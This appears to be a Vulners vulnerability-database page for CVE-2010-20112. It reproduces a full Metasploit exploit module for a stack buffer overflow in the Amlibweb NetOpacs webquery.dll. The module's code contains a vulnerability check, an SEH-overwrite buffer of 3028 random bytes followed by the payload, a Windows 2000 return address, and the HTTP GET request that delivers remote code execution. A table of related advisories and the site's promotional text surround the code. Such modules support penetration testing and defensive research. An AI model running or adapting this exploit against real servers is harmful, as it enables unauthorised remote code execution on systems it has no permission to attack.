Amlibweb NetOpacs webquery.dll Stack Buffer Overflow
🗓️ 03 Aug 2010 00:00:00Reported by aushack <[email protected]>Type
metasploit🔗 www.rapid7.com👁 14 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2010-20112 | 29 May 201815:50 | – | circl | |
| Amlib NetOpacs 安全漏洞 | 21 Aug 202500:00 | – | cnnvd | |
| CVE-2010-20112 | 21 Aug 202520:08 | – | cve | |
| CVE-2010-20112 Amlibweb NetOpacs webquery.dll Stack Buffer Overflow | 21 Aug 202520:08 | – | cvelist | |
| EUVD-2010-5308 | 7 Oct 202500:30 | – | euvd | |
| CVE-2010-20112 | 21 Aug 202520:15 | – | nvd | |
| PT-2025-34287 · Undefined · Undefined | 21 Aug 202500:00 | – | ptsecurity | |
| CVE-2010-20112 | 23 Aug 202520:13 | – | redhatcve | |
| CVE-2010-20112 Amlibweb NetOpacs webquery.dll Stack Buffer Overflow | 21 Aug 202520:08 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Amlibweb NetOpacs webquery.dll Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Amlib's Amlibweb
Library Management System (NetOpacs). The webquery.dll
API is available through IIS requests. By specifying
an overly long string to the 'app' parameter, SeH can be
reliably overwritten allowing for arbitrary remote code execution.
In addition, it is possible to overwrite EIP by specifying
an arbitrary parameter name with an '=' terminator.
},
'Author' => [ 'aushack' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2010-20112' ],
[ 'OSVDB', '66814' ],
[ 'BID', '42293' ],
[ 'URL', 'http://www.aushack.com/advisories/' ],
],
'Privileged' => true,
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'AllowWin32SEH' => true
},
'Payload' => {
# 'Space' => 600,
'BadChars' => "\x00\x0a\x0d\x20%=?\x2f\x5c\x3a\x3d\@;!$",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'Platform' => ['win'],
'Targets' => [
# aushack - Tested OK 20100803 w2k IIS5
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5
# [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only.
],
'DisclosureDate' => '2010-08-03', # 0day
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
Opt::RPORT(80),
]
)
end
def check
connect
rand = Rex::Text.rand_text_alpha(10)
sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n")
res = sock.get_once
disconnect
if (res.to_s =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
if ($1 == rand)
return Exploit::CheckCode::Vulnerable('Target is vulnerable')
end
end
Exploit::CheckCode::Safe('Target is not vulnerable')
end
def exploit
connect
seh = generate_seh_payload(target.ret)
buffer = Rex::Text.rand_text_alphanumeric(3028) + seh
sploit = "GET /amlibweb/webquery.dll?app=" + buffer + " HTTP/1.0\r\n"
sock.put(sploit + "\r\n\r\n")
handler
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Aug 2010 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 49.3
EPSS0.01121
SSVC